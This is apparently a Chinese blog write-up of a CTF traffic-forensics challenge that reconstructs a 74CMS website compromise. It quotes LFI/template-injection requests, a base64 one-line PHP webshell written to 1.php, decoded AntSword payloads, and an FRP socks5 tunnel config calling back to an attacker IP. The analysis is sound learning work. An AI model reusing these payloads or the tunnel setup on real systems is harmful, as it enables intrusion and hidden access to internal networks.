这篇博客我以做题的视角先进行复现还原,再以纯粹分析的角度对这个流量进行分析,希望各位大佬们多多批评指正
一问
单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客登录系统使用的密码是_。。
初步分析流量,是http协议的攻击,第一问直接搜索
http contains "password"

二问
单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客修改了一个日志文件,文件的绝对路径为_。(请确认绝对路径后再提交)。
追踪一问中的http流,发现是第6个流,我们接着分析
(个人分析)登录账号密码后,攻击者在根目录下搜索png文件...由于这里需要找的是修改的文件,所以我们直接过滤出post请求的流量
http.request.method==POST

找到一个路径,
Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"
但是这是相对路径,我们要找的是绝对路径,我们接着往后看post请求,接下来就是执行一些系统指令,在后面一点,有一个echo指令

在这个指令里,可以看到 写入木马:
system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');
所以可以得到我们想要的文件的绝对路径:
/var/www/html/data/Runtime/Logs/Home/21_08_07.log
三问
单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客获取webshell之后,权限是__?得到的flag请使用NSSCTF{}格式提交。
先由第二个问有个 ' whoami ' 指令
然后返回的是日志错误信息;
ERR: ...............:./Application/Home/View/default/www-data
其中www-data即为whoami命令的执行结果,表明当前 Web 服务以www-data用户运行。
所以权限是
www-data
四问
单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客写入的webshell文件名是_。(请提交带有文件后缀的文件名,例如x.txt)。得到的flag请使用NSSCTF{}格式提交。

前面这里已经找到了
1.php
五问
单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客上传的代理工具客户端名字是_。(如有字母请全部使用小写)。得到的flag请使用NSSCTF{}格式提交。
追踪流发现frpc.ini

FRP 工具知识点:
frpc是 FRP(Fast Reverse Proxy)的客户端组件,用于实现内网穿透。.ini文件通常作为 FRP 的配置文件,包含服务器地址、端口、代理规则等信息。- 在渗透测试或攻击场景中,攻击者常上传 FRP 客户端以建立反向代理,突破内网限制。
六问
黑客代理工具的回连服务端ip是_。
在流38中有段

16进制解码:
[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv
[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true
故而找到最终ip:192.168.239.123
七问
黑客的socks5的连接账号、密码是__。(中间使用#号隔开,例如admin#passwd)
根据上述分析可以得知为:0HDFt16cLQJ#JTN276Gp
整个流程分析
借助AI帮我一起分析的,有不好的地方欢迎指正
流6:登录
username=test&password=Admin123!%40%23&expire=0
流7-13:全是get请求,似乎在检索目录?
流14:虽然是post,但是没有直接性攻击
ai分析;
用户操作:上传简历图片 → 触发 OCR 扫描
系统响应:启动扫描任务监听
pid=1: 关联到招聘计划/项目 ID 为 1 的职位
流15-17、18-22:查看PNG+索引根目录(无直接攻击)
流23:这是一个模板注入漏洞攻击,针对 骑士 CMS(QSCMS) 的 company_show 模块。

虽然是404,但是这里的 eval($_REQUEST[a]) 攻击可能部分成功,将恶意代码写入了 ThinkPHP 日志文件
流24:开始攻击,但是反馈是404
variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&a=system('whoami');
流25-28:攻击(不断调试参数),28的时候成功
25:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log
26:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&a=1
27:variable=1&tpl=/r/n
28:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('whoami');
流29-33攻击:
29:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('ipconfig');
30;variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('ifconfig');
31:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('pwd');
32:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d');
33:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');
| 序号 | 指令 | 作用 | 攻击阶段 |
|---|---|---|---|
| 29 | ipconfig | 探测 Windows 环境 | 信息收集 |
| 30 | ifconfig | 探测 Linux 环境 | 信息收集 |
| 31 | pwd | 确认当前工作目录 | 信息收集 |
| 32 | base64 -d | 测试解码功能 | 准备植入 |
| 33 | base64 -d > /var/www/html/1.php | 写入后门文件 | 武器化部署 |
流35:(接下来36、37均以解码形式给出)
aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22bc%22.%220f2%22%3Becho%20%40asenc(%24output)%3Becho%20%22f797e%22.%22322e0%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
URL解码:
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "bc"."0f2"; // 前缀分隔符:bc0f2
echo @asenc($output); // 加密/编码后的输出
echo "f797e"."322e0"; // 后缀分隔符:f797e322e0
};
ob_start();
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t"; // 当前路径 + Tab
if(substr($D,0,1)!="/"){ // Windows 系统
foreach(range("C","Z")as $L)
if(is_dir("{$L}:")) $R.="{$L}:";
$R.="\t";
}else{
$R.="/\t"; // Linux 系统
}
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname(); // 系统信息
$R.="\t{$s}"; // 当前用户
echo $R; // 输出:路径 盘符 系统信息 用户名
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
通过@ini_set("display_errors", "0");@set_time_limit(0);发现这是Antsword
另外还可以反应是蚁剑的几个特征:
1、响应包格式由随机数作为定界符包裹结果

2、若使用了加密等插件绕过的话,加密后的数据没用什么特别明显的了,但是蚁剑混淆加密后还有一个比较明显的特征,参数大多以“_0x…..=”这种形式,以_0x开头的参数名,这个可能也可以换其他的固定字符,可以找出规律
36:// 获取当前路径
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
// 判断系统类型(Windows/Linux)
if(substr($D,0,1) != "/") {
// Windows:枚举 C: 到 Z: 盘符
foreach(range("C","Z") as $L)
if(is_dir("{$L}:")) $R .= "{$L}:";
} else {
$R .= "/"; // Linux
}
// 获取当前用户信息
$u = (function_exists("posix_getegid"))
? @posix_getpwuid(@posix_geteuid())
: "";
$s = ($u) ? $u["name"] : @get_current_user();
// 输出:路径 + 盘符 + 系统信息 + 用户名
$R .= php_uname();
$R .= "\t{$s}";
echo $R;
=================================================================
37:// 获取目录路径(从 POST 参数 j68071301598f)
$D = base64_decode(substr($_POST["j68071301598f"], 2));
↓
去掉前2字符 "wl" → Base64解码 → /var/www/html/
// 打开目录
$F = @opendir($D);
// 遍历目录
while($N = @readdir($F)) {
$P = $D . $N; // 完整路径
$T = @date("Y-m-d H:i:s", ...); // 修改时间
$E = substr(base_convert(@fileperms($P),10,8),-4); // 权限(如 0755)
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
if(@is_dir($P))
$M .= $N . "/" . $R; // 目录收集到 $M
else
$L .= $N . $R; // 文件收集到 $L
}
echo $M . $L; // 先输出目录,再输出文件
==============================================================================
38:配置FPR
| 配置项 | 值 | 说明 |
| ----------------- | --------------------- | ----------------- |
| `server_addr` | `192.168.239.123` | **FRP服务端(攻击者控制)** |
| `server_port` | `7778` | FRP服务端口 |
| `token` | `Xa3BJf2l5enmN6ZA8mv` | 连接认证令牌 |
| `[test_sock5]` | 隧道名称 | SOCKS5代理隧道 |
| `remote_port` | `8111` | 远程监听端口 |
| `plugin` | `socks5` | **建立SOCKS5代理** |
| `plugin_user` | `0HDFt16cLQJ` | 代理认证用户名 |
| `plugin_passwd` | `JTN276Gp` | 代理认证密码 |
| `use_encryption` | `true` | 启用加密 |
| `use_compression` | `true` | 启用压缩 |
解释:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ 攻击者机器 │ ←────→ │ 目标服务器(受害) │ ←────→ │ 内网其他机器 │
│ 192.168.239.123 │ FRP │ 运行 frpc.ini │ SOCKS5 │ 数据库/域控等 │
│ FRP服务端 │ 7778 │ 8111端口转发 │ 代理 │ │
└─────────────────┘ └──────────────────┘ └─────────────────┘
↑
通过WebShell写入配置并启动FRP客户端
↓
建立加密隧道,穿透内网边界
============================================================================
39:在此目录操作
j68071301598f=hML3Zhci93d3cvaHRtbC8%3D
↓ URL解码
hML3Zhci93d3cvaHRtbC8=
↓ Base64解码(去掉前2字符"hM")
/var/www/html/
====================================================================================
小结:攻击者操作流程
| 时间 | 操作 | 目的 |
|---|---|---|
| 20:35 | 首次尝试模板注入 eval($_REQUEST[a]) | 探测漏洞 |
| 20:43-20:48 | 正常业务请求(干扰/掩护) | 混淆流量 |
| 20:51 | 再次尝试模板注入 $_GET['id'] | 持续探测 |
| 21:00 | 转向LFI,包含日志文件 | 战术转变 |
| 21:12 | 尝试绕过,参数改为 aaa | 绕过过滤 |
| 21:21 | 确认LFI成功(OK vs 404对比) | 漏洞确认 |
| 21:22 | 执行ipconfig/ifconfig/pwd | 环境探测 |
| 21:22 | 植入后门 1.php(Base64解码写入) | 权限获取 |
| 21:25 | 蚁剑连接,信息收集 | 建立控制 |
| 21:28-29 | 菜刀尝试连接(干扰或备选) | 多工具尝试 |
| 21:30 | 蚁剑连接(ini_set/set_time_limit) | 持续控制 |
| 21:43 | 蚁剑重新连接,收集系统信息 | 信息收集 |
| 21:46 | 列目录 /var/www/html/ | 查看文件结构 |
| 21:49 | 写入FRP配置 frpc.ini | 内网隧道准备 |
| 21:52 | 再次列目录,确认文件写入 | 验证配置 |
实际攻击行为分析
- 文件操作
- 目标文件:
frpc.ini(FRP 客户端配置文件)。 - 操作类型:通过
fwrite(fopen($f, "a"), $buf)追加内容到文件中,实现配置文件的修改或创建。
- 内网穿透工具部署
- FRP 配置内容
[common] server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv
[test_socks5] type = tcp
remote_port = 8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true
- 功能:建立 SOCKS5 代理,将内网 8111 端口转发到远程服务器
192.168.239.123:7778,用于横向移动。
信息收集 → 漏洞探测 → 权限获取 → 权限维持 → 内网渗透
↓ ↓ ↓ ↓ ↓
目录扫描 LFI测试 写WebShell 蚁剑控制 FRP隧道
碎碎念:
这道流量分析题做的好精彩,我在有别人wp而且有AI帮助的基础上复现,用了四个多小时。做这道题的时候太精彩了,第一次做这个那么深的渗透有关的应急题。学到了很多东西,也看出自己对渗透的知识储备太少了而且对操控AI精准完成任务的能力太弱了。。。。依旧”菜就多练“,加油~~~

Comments NOTHING